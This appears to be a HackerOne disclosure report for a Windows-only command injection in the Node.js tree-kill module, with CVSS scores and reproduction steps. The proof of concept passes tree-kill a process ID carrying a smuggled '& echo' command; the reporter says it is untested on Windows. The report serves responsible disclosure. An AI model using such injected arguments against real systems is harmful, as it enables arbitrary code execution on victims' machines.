Lucene search

K
hackeroneMik317H1:701183
HistorySep 24, 2019 - 7:40 p.m.

Node.js third-party modules: [tree-kill] RCE via insecure command concatenation (only Windows)

2019-09-2419:40:58
mik317
hackerone.com
88

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.004 Low

EPSS

Percentile

69.9%

I would like to report a RCE issue in the tree-kill module.
It allows to execute arbitrary commands remotely inside the victim's PC

Module

module name: tree-killversion:1.2.1npm page: https://www.npmjs.com/package/tree-kill

Module Description

> Kill all processes in the process tree, including the root process.

Module Stats

[N/A] downloads in the last day
[2,108,440] downloads in the last week
[~10M] downloads in the last month

Vulnerability Description

The issue occurs because a user input is concatenated with a command that will be executed without any check. The issue arises here: https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20 (as you can see, the Linux part is sanitized, while the Win one no … it simply uses the + operand to concatenate the input)

Steps To Reproduce:

  1. Create the following PoC file:
// poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
  1. Execute the following commands in another terminal:
npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)
  1. A new file called HACKED.txt will be created, containing the HACKED string
    Note I can’t provide a screenshot as I’m working on Linux (I’ll be able to reinstall win only the next week), but the code showed in the module (line 20) makes clear the attack is possible. Pls note I’m not sure of the batch syntax used , as said I can’t verify it on a win machine. Before close the report, share with me eventual problems, in order to make me able to determine if the provided PoC is fully working or lacks in something :)

Patch

> Don’t concatenate commands using insecure user's inputs :)

Supporting Material/References:

  • [OPERATING SYSTEM VERSION]: Kali Linux (should be used a win OS … I’ve simply checked the code)

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Impact

RCE on tree-kill via insecure command concatenation

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.004 Low

EPSS

Percentile

69.9%

Related for H1:701183